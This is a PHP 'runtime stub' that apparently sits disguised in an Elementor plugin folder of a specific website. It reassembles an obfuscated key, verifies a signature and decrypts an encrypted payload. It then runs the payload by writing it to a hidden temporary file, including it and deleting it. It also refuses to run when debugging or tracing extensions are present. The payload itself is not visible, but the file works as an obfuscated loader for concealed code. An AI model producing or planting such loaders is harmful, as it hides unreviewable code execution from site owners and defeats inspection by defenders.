<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["gpr2vkMMUkg=","P1MVtN27qaM=","JuXKQX9d1OM=","krUq9OGWo1E="]', true);
$__MASKS = json_decode('["+g7Q7YS3qE0=","mlGhY26qguI=","zwgkbNVRB7E=","e06ymISh0q4="]', true);
$__ROT   = json_decode('[6,7,6,3]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('jXy0jFX9LnafIUYgZApJATTGxcrgqfLv');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9kYXRhL3YyL2Jhc2UvZW5kcG9pbnQvaW5kZXgvc3ViLWluZGV4LWVuZHBvaW50LnBocCIsInRzIjoxNzU2NjkzNzE0LCJleHBpcmVzIjowLCJkb21haW5zIjpbIml0c2hvbWFyLmlyIl0sIm9ubGluZSI6MCwid3AiOjEsImFsZ28iOiJ4Y2hhY2hhMjBwb2x5MTMwNV9pZXRmIn0=');
$__CT    = base64_decode('6dpMn0fSWeHFWKi2mAJ18KnwM5UVpo2q305zQjS+cV9s9tqZDhrnWuoFM1kN10+YBz6uQy6Kvjf+8JwLaHKcE+4cLKF+FPQG0Cse+rfzj6Y30k/1TAmH2lNRVUvq79w6om5ZGg4os09balu53cYQREIMwmJaUXs2U3gpLbJcZaOrEEw7WiwqFaoCAT2Oh07IQst8ESHBPVdE8eJBeTAPw/Ia8j33XTqtkhf9skBVDuawtCDRI4lJAm8n91/B26iZRWvrahgvO85gF5s7K+poLerPQ4jTVoqsdTBNy5mEKzsWvByRo+YwP4kDyxRjS50yUDUW0sQRa6DK4//EJtxvTiGeVzAatNgkCqX8eId+FTPiSuC+d/yq9EELy3NGgiIuOW7Xhl9oB53ZyWNv+78GBnMR4YkktQ+pRlm+ytJ648AM+ifvzsEYiTo2TbuaCPJzqpjaWj4iGNLM0cCxrGPQHimIwgMlVdDe0RlMKzohGOYC24yXxQjZvmyCuwqqFyST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n2c7Jp0O2+M5pdobdpscm0pBVJJyA6DuyCR04QOLe3ybdF3snlA7Zd2yRcuVfdPWFx38L/0lzVWLn/ZiD4eNdpmpekX6w56WalJOqCu1erSJ/nls5zMmjtJemhRrnNo24NdjbvuLBogokFTCJg0hFPqXdrud11h0ptdoXDcRrW7ERqKjKtKDpO9PGrJQ8esAelsFAXp2wfTJKLU9f7ZdRsXVc8vre9ObqGBKZagADCtv/C8ZWenj3gX2LKF/ytmDgr75boGCpjsDuTBSScjhj5dxyHJvUgvp4Iz165ixQAWx50ipOhKA50YxYDvv7moZMG/k3OlSfrgdU6gI87aE6EuZFCHcDPFWKkjcvxBZ5526IZ7/DAuZG+qVpVMN37xT42dncgcATk7Xq4A9y5GZmEhc6L+3U9umowsB9K5HCg8vheRQGH4A=');

// Signature verification
$__PK  = base64_decode('NIix1183lclG4IZL6UpG2MdGLyWWS27ZgTX41dQwwcc=');
$__SIG = base64_decode('W5SG8hy9DxWJlO6sxxVTv5A3xBhD0pzMAVdDFOjPRiQjQkcRAZ79eH+BnB7FNZPh25Uk6D38vFQsCO90he5zDQ==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
